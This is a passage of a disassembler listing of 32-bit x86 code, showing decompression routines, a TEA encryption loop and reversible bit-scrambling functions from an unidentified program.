101h mov ecx, dword_4F36DC add ecx, 1 mov dword_4F36DC, ecx call sub_4907D5 add esp, 8 mov edx, dword_4F36CC shl edx, 1 or edx, 1 mov dword_4F36CC, edx loc_4906A7: ; CODE XREF: .text:0049065Dj ; .text:0049066Bj jmp short loc_4906B1 ; --------------------------------------------------------------------------- loc_4906A9: ; CODE XREF: .text:004905E8j mov eax, [ebp-18h] mov ecx, [eax] mov [ebp-4], ecx loc_4906B1: ; CODE XREF: .text:loc_4906A7j mov edx, [ebp-8] add edx, 1 mov [ebp-8], edx jmp loc_49059E ; --------------------------------------------------------------------------- loc_4906BF: ; CODE XREF: .text:004905A4j ; .text:004905B4j xor eax, eax mov al, byte_4F36C8 test eax, eax jnz short loc_4906F0 mov ecx, dword_4F36DC push ecx mov edx, [ebp-4] push edx call sub_4907D5 add esp, 8 mov eax, dword_4F36DC push eax push 100h call sub_4907D5 add esp, 8 loc_4906F0: ; CODE XREF: .text:004906C8j xor ecx, ecx mov cl, byte_4F36C8 test ecx, ecx jnz short loc_49071C call sub_4907A9 mov edx, [ebp+0Ch] mov [edx], eax mov eax, [ebp+0Ch] mov ecx, [eax] push ecx mov edx, [ebp-10h] push edx mov eax, [ebp+8] push eax call _memcpy_1 add esp, 0Ch loc_49071C: ; CODE XREF: .text:004906FAj mov ecx, [ebp-10h] mov [ebp-20h], ecx mov edx, [ebp-20h] push edx call sub_4C85D6 add esp, 4 call sub_4908CE xor eax, eax mov al, byte_4F36C8 test eax, eax setz al mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_490743 proc near ; CODE XREF: .text:00490572p ; .text:00490A18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dword_4F36D0, eax mov ecx, dword_4F36D0 mov dword_4F36D4, ecx mov edx, dword_4F36D4 add edx, [ebp+arg_4] mov dword_4F36C4, edx mov byte_4F36D8, 80h mov eax, [ebp+arg_8] and eax, 0FFh test eax, eax jz short loc_490785 mov byte_4F36E4, 0 jmp short loc_4907A0 ; --------------------------------------------------------------------------- loc_490785: ; CODE XREF: sub_490743+37j mov ecx, dword_4F36D0 mov dl, [ecx] mov byte_4F36E4, dl mov eax, dword_4F36D0 add eax, 1 mov dword_4F36D0, eax loc_4907A0: ; CODE XREF: sub_490743+40j mov byte_4F36C8, 0 pop ebp retn sub_490743 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4907A9 proc near ; CODE XREF: .text:004906FCp push ebp mov ebp, esp mov eax, dword_4F36D0 mov cl, byte_4F36E4 mov [eax], cl mov edx, dword_4F36D0 add edx, 1 mov dword_4F36D0, edx mov eax, dword_4F36D0 sub eax, dword_4F36D4 pop ebp retn sub_4907A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4907D5 proc near ; CODE XREF: .text:00490627p ; .text:00490650p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_4] sub ecx, 1 mov eax, 1 shl eax, cl mov [ebp+var_4], eax loc_4907E9: ; CODE XREF: sub_4907D5+A6j cmp [ebp+var_4], 0 jz loc_490880 mov ecx, [ebp+arg_0] and ecx, [ebp+var_4] test ecx, ecx jz short loc_49080F mov dl, byte_4F36E4 or dl, byte_4F36D8 mov byte_4F36E4, dl loc_49080F: ; CODE XREF: sub_4907D5+26j mov al, byte_4F36D8 shr al, 1 mov byte_4F36D8, al xor ecx, ecx mov cl, byte_4F36D8 test ecx, ecx jnz short loc_490873 mov edx, dword_4F36D0 cmp edx, dword_4F36C4 jnb short loc_490851 mov eax, dword_4F36D0 mov cl, byte_4F36E4 mov [eax], cl mov edx, dword_4F36D0 add edx, 1 mov dword_4F36D0, edx loc_490851: ; CODE XREF: sub_4907D5+5Ej mov eax, dword_4F36D0 cmp eax, dword_4F36C4 jb short loc_490865 mov byte_4F36C8, 1 loc_490865: ; CODE XREF: sub_4907D5+87j mov byte_4F36E4, 0 mov byte_4F36D8, 80h loc_490873: ; CODE XREF: sub_4907D5+50j mov ecx, [ebp+var_4] sar ecx, 1 mov [ebp+var_4], ecx jmp loc_4907E9 ; --------------------------------------------------------------------------- loc_490880: ; CODE XREF: sub_4907D5+18j xor edx, edx mov dl, byte_4F36C8 mov eax, edx neg eax sbb eax, eax inc eax mov esp, ebp pop ebp retn sub_4907D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_490893 proc near ; CODE XREF: .text:00490546p ; .text:00490A07p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 push 669B4h call sub_4C85E1 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] mov dword_4F36E0, eax push 88CFh call sub_4C85E1 add esp, 4 mov [ebp+var_8], eax mov ecx, [ebp+var_8] mov dword_4F36C0, ecx mov esp, ebp pop ebp retn sub_490893 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4908CE proc near ; CODE XREF: .text:0049072Ep ; .text:00490BEAp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov eax, dword_4F36E0 mov [ebp+var_4], eax mov ecx, [ebp+var_4] push ecx call sub_4C85D6 add esp, 4 mov edx, dword_4F36C0 mov [ebp+var_8], edx mov eax, [ebp+var_8] push eax call sub_4C85D6 add esp, 4 mov esp, ebp pop ebp retn sub_4908CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_490901 proc near ; CODE XREF: .text:0049054Bp ; .text:00490658p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_490917 ; --------------------------------------------------------------------------- loc_49090E: ; CODE XREF: sub_490901+32j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_490917: ; CODE XREF: sub_490901+Bj cmp [ebp+var_4], 88CFh jnb short loc_490935 mov ecx, [ebp+var_4] imul ecx, 0Ch mov edx, dword_4F36E0 mov dword ptr [edx+ecx], 0FFFFFFFFh jmp short loc_49090E ; --------------------------------------------------------------------------- loc_490935: ; CODE XREF: sub_490901+1Dj mov dword_4F36BC, 103h mov dword_4F36DC, 9 mov eax, 1 mov ecx, dword_4F36DC shl eax, cl sub eax, 1 mov dword_4F36CC, eax mov esp, ebp pop ebp retn sub_490901 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_490962 proc near ; CODE XREF: .text:004905C6p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] shl eax, 7 xor eax, [ebp+arg_0] mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_490987 mov ecx, 88CFh sub ecx, [ebp+var_8] mov [ebp+var_10], ecx jmp short loc_49098E ; --------------------------------------------------------------------------- loc_490987: ; CODE XREF: sub_490962+16j mov [ebp+var_10], 1 loc_49098E: ; CODE XREF: sub_490962+23j mov edx, [ebp+var_10] mov [ebp+var_4], edx loc_490994: ; CODE XREF: sub_490962:loc_4909FBj mov eax, 1 test eax, eax jz short loc_4909FD mov ecx, [ebp+var_8] imul ecx, 0Ch mov edx, dword_4F36E0 add edx, ecx mov [ebp+var_C], edx mov eax, [ebp+var_C] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_4909BB mov eax, [ebp+var_8] jmp short loc_4909FD ; --------------------------------------------------------------------------- loc_4909BB: ; CODE XREF: sub_490962+52j mov ecx, [ebp+var_C] mov edx, [ecx+4] cmp edx, [ebp+arg_0] jnz short loc_4909D8 mov eax, [ebp+var_C] xor ecx, ecx mov cl, [eax+8] cmp ecx, [ebp+arg_4] jnz short loc_4909D8 mov eax, [ebp+var_8] jmp short loc_4909FD ; --------------------------------------------------------------------------- loc_4909D8: ; CODE XREF: sub_490962+62j ; sub_490962+6Fj mov edx, [ebp+var_8] cmp edx, [ebp+var_4] jnb short loc_4909F2 mov eax, 88CFh sub eax, [ebp+var_4] mov ecx, [ebp+var_8] add ecx, eax mov [ebp+var_8], ecx jmp short loc_4909FB ; --------------------------------------------------------------------------- loc_4909F2: ; CODE XREF: sub_490962+7Cj mov edx, [ebp+var_8] sub edx, [ebp+var_4] mov [ebp+var_8], edx loc_4909FB: ; CODE XREF: sub_490962+8Ej jmp short loc_490994 ; --------------------------------------------------------------------------- loc_4909FD: ; CODE XREF: sub_490962+39j ; sub_490962+57j ... mov esp, ebp pop ebp retn sub_490962 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 30h call sub_490893 push 0 mov eax, [ebp+0Ch] mov ecx, [eax] push ecx mov edx, [ebp+8] push edx call sub_490743 add esp, 0Ch mov eax, [ebp+10h] add eax, 1 push eax call sub_4C85E1 add esp, 4 mov [ebp-28h], eax mov ecx, [ebp-28h] mov [ebp-10h], ecx mov edx, [ebp+10h] mov eax, [ebp-10h] lea ecx, [eax+edx+1] mov [ebp-4], ecx mov edx, [ebp-10h] mov [ebp-8], edx mov byte ptr [ebp-0Ch], 0 loc_490A4F: ; CODE XREF: .text:loc_490BB2j mov eax, [ebp-0Ch] and eax, 0FFh test eax, eax jnz loc_490BB7 call sub_490901 mov ecx, dword_4F36DC push ecx call sub_490C14 add esp, 4 mov [ebp-14h], eax cmp dword ptr [ebp-14h], 100h jnz short loc_490A83 mov byte ptr [ebp-0Ch], 1 loc_490A83: ; CODE XREF: .text:00490A7Dj mov edx, [ebp-14h] mov [ebp-18h], edx mov eax, [ebp-8] mov cl, [ebp-18h] mov [eax], cl mov edx, [ebp-8] add edx, 1 mov [ebp-8], edx loc_490A9A: ; CODE XREF: .text:00490AF4j ; .text:00490BADj mov eax, [ebp-0Ch] and eax, 0FFh test eax, eax jnz loc_490BB2 mov ecx, dword_4F36DC push ecx call sub_490C14 add esp, 4 mov [ebp-24h], eax cmp dword ptr [ebp-24h], 100h jnz short loc_490ACE mov byte ptr [ebp-0Ch], 1 jmp loc_490BB2 ; --------------------------------------------------------------------------- loc_490ACE: ; CODE XREF: .text:00490AC3j cmp dword ptr [ebp-24h], 102h jnz short loc_490ADC jmp loc_490BB2 ; --------------------------------------------------------------------------- loc_490ADC: ; CODE XREF: .text:00490AD5j cmp dword ptr [ebp-24h], 101h jnz short loc_490AF6 mov edx, dword_4F36DC add edx, 1 mov dword_4F36DC, edx jmp short loc_490A9A ; --------------------------------------------------------------------------- loc_490AF6: ; CODE XREF: .text:00490AE3j mov eax, [ebp-24h] cmp eax, dword_4F36BC jb short loc_490B1F mov ecx, dword_4F36C0 mov dl, [ebp-18h] mov [ecx], dl mov eax, [ebp-14h] push eax push 1 call sub_490CC6 add esp, 8 mov [ebp-20h], eax jmp short loc_490B30 ; --------------------------------------------------------------------------- loc_490B1F: ; CODE XREF: .text:00490AFFj mov ecx, [ebp-24h] push ecx push 0 call sub_490CC6 add esp, 8 mov [ebp-20h], eax loc_490B30: ; CODE XREF: .text:00490B1Dj mov edx, dword_4F36C0 add edx, [ebp-20h] xor eax, eax mov al, [edx-1] mov [ebp-18h], eax loc_490B41: ; CODE XREF: .text:00490B70j cmp dword ptr [ebp-20h], 0 jz short loc_490B72 mov ecx, [ebp-8] cmp ecx, [ebp-4] jnb short loc_490B72 mov edx, [ebp-20h] sub edx, 1 mov [ebp-20h], edx mov eax, dword_4F36C0 add eax, [ebp-20h] mov ecx, [ebp-8] mov dl, [eax] mov [ecx], dl mov eax, [ebp-8] add eax, 1 mov [ebp-8], eax jmp short loc_490B41 ; --------------------------------------------------------------------------- loc_490B72: ; CODE XREF: .text:00490B45j ; .text:00490B4Dj mov ecx, dword_4F36BC imul ecx, 0Ch mov edx, dword_4F36E0 add edx, ecx mov [ebp-1Ch], edx mov eax, [ebp-1Ch] mov ecx, [ebp-14h] mov [eax+4], ecx mov edx, [ebp-1Ch] mov al, [ebp-18h] mov [edx+8], al mov ecx, dword_4F36BC add ecx, 1 mov dword_4F36BC, ecx mov edx, [ebp-24h] mov [ebp-14h], edx jmp loc_490A9A ; --------------------------------------------------------------------------- loc_490BB2: ; CODE XREF: .text:00490AA4j ; .text:00490AC9j ... jmp loc_490A4F ; --------------------------------------------------------------------------- loc_490BB7: ; CODE XREF: .text:00490A59j mov eax, [ebp-8] sub eax, [ebp-10h] mov ecx, [ebp+0Ch] mov [ecx], eax mov edx, [ebp+0Ch] mov eax, [edx] push eax mov ecx, [ebp-10h] push ecx mov edx, [ebp+8] push edx call _memcpy_1 add esp, 0Ch mov eax, [ebp-10h] mov [ebp-2Ch], eax mov ecx, [ebp-2Ch] push ecx call sub_4C85D6 add esp, 4 call sub_4908CE xor edx, edx mov dl, byte_4F36C8 test edx, edx jnz short loc_490C09 mov eax, [ebp-8] cmp eax, [ebp-4] jz short loc_490C09 mov byte ptr [ebp-2Dh], 1 jmp short loc_490C0D ; --------------------------------------------------------------------------- loc_490C09: ; CODE XREF: .text:00490BF9j ; .text:00490C01j mov byte ptr [ebp-2Dh], 0 loc_490C0D: ; CODE XREF: .text:00490C07j mov al, [ebp-2Dh] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_490C14 proc near ; CODE XREF: .text:00490A6Bp ; .text:00490AB1p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_490C27: ; CODE XREF: sub_490C14:loc_490CBAj mov ecx, [ebp+var_4] mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx test ecx, ecx jz loc_490CBF mov eax, [ebp+var_8] shl eax, 1 mov [ebp+var_8], eax xor ecx, ecx mov cl, byte_4F36E4 xor edx, edx mov dl, byte_4F36D8 and ecx, edx test ecx, ecx jz short loc_490C61 mov eax, [ebp+var_8] or al, 1 mov [ebp+var_8], eax loc_490C61: ; CODE XREF: sub_490C14+43j mov cl, byte_4F36D8 shr cl, 1 mov byte_4F36D8, cl xor edx, edx mov dl, byte_4F36D8 test edx, edx jnz short loc_490CBA mov eax, dword_4F36D0 cmp eax, dword_4F36C4 jb short loc_490C98 mov byte_4F36C8, 1 mov byte_4F36E4, 0 jmp short loc_490CB3 ; --------------------------------------------------------------------------- loc_490C98: ; CODE XREF: sub_490C14+72j mov ecx, dword_4F36D0 mov dl, [ecx] mov byte_4F36E4, dl mov eax, dword_4F36D0 add eax, 1 mov dword_4F36D0, eax loc_490CB3: ; CODE XREF: sub_490C14+82j mov byte_4F36D8, 80h loc_490CBA: ; CODE XREF: sub_490C14+65j jmp loc_490C27 ; --------------------------------------------------------------------------- loc_490CBF: ; CODE XREF: sub_490C14+21j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_490C14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_490CC6 proc near ; CODE XREF: .text:00490B12p ; .text:00490B25p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx loc_490CCA: ; CODE XREF: sub_490CC6+41j cmp [ebp+arg_4], 0FFh jbe short loc_490D09 mov eax, [ebp+arg_4] imul eax, 0Ch mov ecx, dword_4F36E0 add ecx, eax mov [ebp+var_4], ecx mov edx, dword_4F36C0 add edx, [ebp+arg_0] mov eax, [ebp+var_4] mov cl, [eax+8] mov [edx], cl mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx mov eax, [ebp+var_4] mov ecx, [eax+4] mov [ebp+arg_4], ecx jmp short loc_490CCA ; --------------------------------------------------------------------------- loc_490D09: ; CODE XREF: sub_490CC6+Bj mov edx, dword_4F36C0 add edx, [ebp+arg_0] mov al, byte ptr [ebp+arg_4] mov [edx], al mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx mov eax, [ebp+arg_0] mov esp, ebp pop ebp retn sub_490CC6 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_490D30 proc near ; CODE XREF: sub_490F38+67p var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 48h mov [ebp+var_20], 9E3779B9h mov [ebp+var_18], 20h mov eax, [ebp+arg_0] mov ecx, [eax] mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [edx+4] mov [ebp+var_C], eax mov ecx, [ebp+arg_0] mov edx, [ecx+8] mov [ebp+var_10], edx mov eax, [ebp+arg_0] mov ecx, [eax+0Ch] mov [ebp+var_14], ecx mov edx, [ebp+arg_8] and edx, 0FFFFFFF8h mov [ebp+arg_8], edx mov eax, [ebp+arg_4] mov [ebp+var_4], eax mov ecx, [ebp+arg_8] shr ecx, 2 mov edx, [ebp+var_4] lea eax, [edx+ecx*4] mov [ebp+var_1C], eax cmp [ebp+arg_C], 0 jle loc_490E6A loc_490D8F: ; CODE XREF: sub_490D30:loc_490E60j mov ecx, [ebp+var_4] cmp ecx, [ebp+var_1C] jnb loc_490E65 mov edx, [ebp+var_4] mov eax, [edx] mov [ebp+var_28], eax mov ecx, [ebp+var_4] mov edx, [ecx+4] mov [ebp+var_2C], edx mov [ebp+var_24], 0 mov [ebp+var_34], 20h mov eax, [ebp+var_28] mov [ebp+var_30], eax mov ecx, [ebp+var_2C] mov [ebp+var_38], ecx loc_490DC6: ; CODE XREF: sub_490D30+FAj mov edx, [ebp+var_34] mov eax, [ebp+var_34] sub eax, 1 mov [ebp+var_34], eax test edx, edx jbe short loc_490E2C mov ecx, [ebp+var_24] sub ecx, 61C88647h mov [ebp+var_24], ecx mov edx, [ebp+var_2C] shl edx, 4 add edx, [ebp+var_8] mov eax, [ebp+var_2C] add eax, [ebp+var_24] xor edx, eax mov ecx, [ebp+var_2C] shr ecx, 5 add ecx, [ebp+var_C] xor edx, ecx mov eax, [ebp+var_28] add eax, edx mov [ebp+var_28], eax mov ecx, [ebp+var_28] shl ecx, 4 add ecx, [ebp+var_10] mov edx, [ebp+var_28] add edx, [ebp+var_24] xor ecx, edx mov eax, [ebp+var_28] shr eax, 5 add eax, [ebp+var_14] xor ecx, eax mov edx, [ebp+var_2C] add edx, ecx mov [ebp+var_2C], edx jmp short loc_490DC6 ; --------------------------------------------------------------------------- loc_490E2C: ; CODE XREF: sub_490D30+A4j mov eax, [ebp+var_4] mov ecx, [ebp+var_28] mov [eax], ecx mov edx, [ebp+var_4] add edx, 4 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov ecx, [ebp+var_2C] mov [eax], ecx mov edx, [ebp+var_4] add edx, 4 mov [ebp+var_4], edx cmp [ebp+arg_C], 1 jle short loc_490E60 mov eax, [ebp+var_30] mov [ebp+var_C], eax mov ecx, [ebp+var_38] mov [ebp+var_14], ecx loc_490E60: ; CODE XREF: sub_490D30+122j jmp loc_490D8F ; --------------------------------------------------------------------------- loc_490E65: ; CODE XREF: sub_490D30+65j jmp loc_490F34 ; --------------------------------------------------------------------------- loc_490E6A: ; CODE XREF: sub_490D30+59j ; sub_490D30:loc_490F2Fj mov edx, [ebp+var_4] cmp edx, [ebp+var_1C] jnb loc_490F34 mov eax, [ebp+var_4] mov ecx, [eax] mov [ebp+var_40], ecx mov edx, [ebp+var_4] mov eax, [edx+4] mov [ebp+var_44], eax mov [ebp+var_3C], 0C6EF3720h mov [ebp+var_48], 20h loc_490E95: ; CODE XREF: sub_490D30+1C9j mov ecx, [ebp+var_48] mov edx, [ebp+var_48] sub edx, 1 mov [ebp+var_48], edx test ecx, ecx jbe short loc_490EFB mov eax, [ebp+var_40] shl eax, 4 add eax, [ebp+var_10] mov ecx, [ebp+var_40] add ecx, [ebp+var_3C] xor eax, ecx mov edx, [ebp+var_40] shr edx, 5 add edx, [ebp+var_14] xor eax, edx mov ecx, [ebp+var_44] sub ecx, eax mov [ebp+var_44], ecx mov edx, [ebp+var_44] shl edx, 4 add edx, [ebp+var_8] mov eax, [ebp+var_44] add eax, [ebp+var_3C] xor edx, eax mov ecx, [ebp+var_44] shr ecx, 5 add ecx, [ebp+var_C] xor edx, ecx mov eax, [ebp+var_40] sub eax, edx mov [ebp+var_40], eax mov ecx, [ebp+var_3C] add ecx, 61C88647h mov [ebp+var_3C], ecx jmp short loc_490E95 ; --------------------------------------------------------------------------- loc_490EFB: ; CODE XREF: sub_490D30+173j mov edx, [ebp+var_4] mov eax, [ebp+var_40] mov [edx], eax mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov eax, [ebp+var_44] mov [edx], eax mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx cmp [ebp+arg_C], 0 jge short loc_490F2F mov edx, [ebp+var_40] mov [ebp+var_C], edx mov eax, [ebp+var_44] mov [ebp+var_14], eax loc_490F2F: ; CODE XREF: sub_490D30+1F1j jmp loc_490E6A ; --------------------------------------------------------------------------- loc_490F34: ; CODE XREF: sub_490D30:loc_490E65j ; sub_490D30+140j mov esp, ebp pop ebp retn sub_490D30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_490F38 proc near ; CODE XREF: sub_4B4BB9+A7p ; sub_4B4BB9+125p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+var_4] shr ecx, 8 mov edx, [ebp+var_4] shl edx, 18h or ecx, edx mov [ebp+var_8], ecx mov eax, [ebp+var_8] shr eax, 8 mov ecx, [ebp+var_8] shl ecx, 18h or eax, ecx mov [ebp+var_C], eax mov edx, [ebp+var_C] shr edx, 8 mov eax, [ebp+var_C] shl eax, 18h or edx, eax mov [ebp+var_10], edx mov ecx, [ebp+var_4] mov [ebp+var_20], ecx mov edx, [ebp+var_8] mov [ebp+var_1C], edx mov eax, [ebp+var_C] mov [ebp+var_18], eax mov ecx, [ebp+var_10] mov [ebp+var_14], ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx lea edx, [ebp+var_20] push edx call sub_490D30 add esp, 10h mov esp, ebp pop ebp retn sub_490F38 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_490FB0 proc near ; CODE XREF: .text:004B7E7Dp ; .text:004BB269p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_8] xor edx, 0FFFFFFFFh push edx call sub_4C149A add esp, 0Ch xor eax, 0FFFFFFFFh pop ebp retn sub_490FB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_490FD0 proc near ; CODE XREF: sub_497D6E+94p ; sub_49B14F+99p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 6D6ACFDEh mov [ebp+arg_0], eax push 11h push 7 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 6 push 13h mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0Eh push 6 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 16h mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 3859EF64h mov [ebp+arg_0], edx push 0 push 0Fh mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 0DD46CC9Eh mov [ebp+arg_0], ecx push 19h mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 5542E47Ah mov [ebp+arg_0], eax push 11h push 3 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 8 push 5 mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 8 push 12h push 0Dh mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 15h push 8 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 0D7EF2C37h mov [ebp+arg_0], edx push 0Dh push 12h mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 12h push 4 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 1 push 17h mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0Eh mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 420D6417h mov [ebp+arg_0], ecx push 11h mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov eax, [ebp+arg_0] pop ebp retn sub_490FD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_491135 proc near ; CODE XREF: sub_497D6E+Dp ; sub_49B14F+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFEFh mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 420D6417h mov [ebp+arg_0], ecx push 0FFFFFFF2h mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 1 push 17h mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 12h push 4 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0Dh push 12h mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 0D7EF2C37h mov [ebp+arg_0], eax push 15h push 8 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFF8h push 12h push 0Dh mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 8 push 5 mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 11h push 3 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 5542E47Ah mov [ebp+arg_0], edx push 0FFFFFFE7h mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 0DD46CC9Eh mov [ebp+arg_0], ecx push 0 push 0Fh mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 3859EF64h mov [ebp+arg_0], eax push 0FFFFFFEAh mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0Eh push 6 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 6 push 13h mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 11h push 7 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 6D6ACFDEh mov [ebp+arg_0], edx mov eax, [ebp+arg_0] pop ebp retn sub_491135 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49129A proc near ; CODE XREF: sub_4A101A+BDp ; sub_4A2806+96p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 220E31E7h mov [ebp+arg_0], eax push 2 push 8 push 16h mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 7 mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0Ch push 4 push 0Fh mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 0B278157Ch mov [ebp+arg_0], ecx push 0Ch mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 2DAEB5E3h mov 